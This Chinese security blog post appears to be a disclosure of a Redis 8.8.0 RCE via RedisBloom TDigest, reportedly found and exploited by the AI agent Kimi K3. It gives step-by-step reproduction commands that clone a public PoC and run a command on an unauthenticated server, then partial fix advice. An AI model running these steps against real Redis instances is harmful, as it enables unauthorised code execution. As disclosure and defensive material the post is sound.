
免责声明
该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送,建议把公众号设为星标,否则可能就看不到啦!感谢各位师傅。

漏洞描述
安全研究员 Chaofan Shou 在X平台披露,AI Agent Kimi K3 在27分钟内发现并成功利用Redis 8.8.0存在的高危远程代码执行漏洞。该漏洞不同于过往Redis历史漏洞,无需开启DEBUG命令、无需精准libc偏移量、无需复杂堆喷布局,依托Redis模块RDB反序列化架构缺陷,利用RedisBloom模块TDigest数据结构cap字段验证缺失,在默认配置下即可稳定触发远程代码执行。

影响版本
Redis 6.2.22、7.4.9、8.6.4(NACK补丁绕过变种)及Redis 8.8.0(TDigest模块漏洞),Redis 8.8.0版本默认加载RedisBloom模块,任何使用RedisBloom模块的实例均受影响。

漏洞复现
环境:https://github.com/berabuddies/redis-poc.git拉取 Redis 8.8.0 镜像
docker pull redis:8.8.0
启动容器
docker run -d -p 6379:6379 --name redis88 redis:8.8.0
验证容器运行状态
docker ps | grep redis88
克隆POC仓库
git clone https://github.com/berabuddies/redis-poc.git
cdredis-poc
ls -la
编译 CRC64 依赖库
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
确认编译成功
ls -la libcrc64.so
由于容器未设置密码,第二个参数留空(""),触发命令为 id > /data/pwned88python3
P88W_exploit.py 127.0.0.1 6379 "" "id > /data/pwned88"
查看容器id
docker ps | grep redis88
验证命令执行结果
docker exec -it c5a778101b10 cat /data/pwned88

修复建议
redis.conf中注释或删除loadmodule /path/to/redisbloom.so行,重启Redis服务。注意:这将禁用TDigest、Bloom Filter等数据结构,需确认业务无依赖;redis.conf中使用rename-command重命名或禁用RESTORE命令: